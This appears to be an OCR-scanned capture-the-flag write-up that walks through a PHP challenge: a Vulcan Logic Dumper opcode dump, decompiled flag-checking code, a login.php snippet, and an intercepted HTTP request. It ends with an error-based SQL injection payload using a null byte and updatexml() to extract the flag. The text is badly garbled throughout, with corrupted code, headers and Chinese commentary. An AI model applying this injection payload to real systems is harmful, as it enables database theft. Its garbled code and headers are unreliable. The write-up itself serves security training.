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Finding entry points

Branch analysizs from pasition: 0

Jump found. Position 1 # 23, Position 2 = 38
Branch analyeie from position: 23

Jump found. Position 1 = 26, Position 2 = 38
Branch analysis from position: 26

Junp found. Position 1 = 29, Position 2 = 32
Branch analyeis from position: 289

Jump found. Peosition 1 = 34

Branch analysis from pasition: 34

Jump found. Position 1 = 37

Pranch analyeie from position: 37
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FEeturn found

Branch analysis from position: 32

Jump found. Position 1 = 37

Branch analyeis from position: 37

Branch analysis from pasition: 35

Jump found. Position 1 = 40

Eranch analysis from position: 40

Branch analyeie from position: 3B

Return found

filanama: Cihetf\indax. php

function name:  (rull)

mmber of ops: 44

compiled vars: 10 = Ja, !'1 = §b, !2 = 3c

line #t * op fetch ext return operands

2 o » EXT_STAT
1 ECHD ' dotpoutmow+Vul can+logl o +Dumger%3FR3CbrN3E

3 2 EXT_STAT
3 BEGIN_SILENCE 0
4 FETCH_R global 31 ' _GET”
5 FETCH_DIA_R 32 31, "flagl’
& END_SILENCE "0
7 ASSIGN 0, §2

4 4 EXT_STAT
4 BEGIN_SILENCE "4
10 FETCH_R global 35 ' _GET
11 FETCH_DIN_R 36 35, "flag?’
12 END_STLEHCE 4
13 ASEIGN ', 368

5 14 EXT_STAT
15 BEGIN_SILENCE 8
16 FETCH_R global 30 ' _GET
7 FETCH_OIN_R J10 39, "flagd’
13 END_SILENCE "8

|5 19 ASSIGN 12, $10
a 20 EXT STAT
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echo ‘do+you+know+Vulcan+Logic+Dumper%3Fi43Cbri3e’;

$a=$% GET[flagl];

$b=% GET[flag2];

$c=% GET[flag3];

if($a=fvhjjihfcv){
if($b=gfuyiyhioyt){

if($c=yugoiiyhi){

echo ‘thetnext+step+is+xxx.zip?;

e echo ‘false%3Cbr#%3e’;
lelse echo ‘falsef3Cbri%3E’;
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do you know Vulcan Logic Dumper?
the next step is 1chungiu.zip

FAEL U A=A R KA Iflagl, 2, 3HMERE T —H R

o

1833 75 17 9430505317f54f8782ae992a1caadc8ffa855302a5464c8a.changame.ichungiu.com/1chungiu.zip

KT BIXANzip S

Tchungiu.zip B SR
Tchunigiu g
(=] fort
= onfig.inc. php 202
& dbmysqlclass.php 645
F\'uqul.hhl'l 363
w:ogin.php 54T
Miregister htmi 362
e-‘PIJI‘\lPI.th 543

FIFFH R — MW TR S T
W IRIT FF R BL#Elogin. phph FEZEIE AN

Wi 2

ET L
1,541
667
1,300
661
1,231

letBrains PhpStorm

JetBrains PhpStorm

QOErowser HTML Do...

JetBrains PhpStorm

Q0Erowser HTML Do...

JetBrains PhpStarm

S E

2016/8/12 184210
2016/9/29 16:04:57
2016/8/8 10:28;

20168/7 14:50:
2016/9/29 17:50:14
2016/9/29 16:47:35
20169729 16:50:57




login.php

$ POST[

fusername = trim(str_replace($number, ; fusername));

Hrusernamef#fEaddslashes()Zb 3 (5|5, RAMTERTHESHM ERA/ALTE XL, BifsqiEN) , BT
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Request Response
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POAT ¢ Lehungily Login. php HETR/L_L HTTP/2.1 200 OF
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ceigin: Vary: kecspr-Encoding
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Upgrads- Inmecuze-Requents: | ¥-Cache: bypass
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(ENTHL, like Gegkol Chromws/E3.0.3218.28 Safaci/337.36 Core/l1.83,0728.400
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ag, */ * q=0.8

Referer;
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Content-Length: 98 Content-Length: T4
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Upgrads-Insecure-Fegueaca: 1 H-Cacbe! bypass

Content-Type: applicaticn/s-vww-foem-us lencoded

Uszr-Agent! Mozillal5s.0 (Windows NT 10.0; WOWE4) Appleven®it/537.3& ODOO0O00 ' XPATH syntax erese: ' 1o-d6e2-9607-388C6LTIARR2) '
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Cookie:
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Jmluid hsODE2ScalfasfldaTd? Jal2 22 ddcSSEE32
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nmbEr=0sussrname=400' s5d updacewml (L, subace | (ssleoc flag from
TR,

!12),11 1) [ g ==

payload: %00'and updatexml(1,substr((select flag from flag),1,41),1)#
%00'and updatexml(1,substr((select flag from flag),11,41),1)#
PN B BOEE R 15 Blflag:
flag{dbb3004d-441c-46e2-9b07-588c6f75a882}
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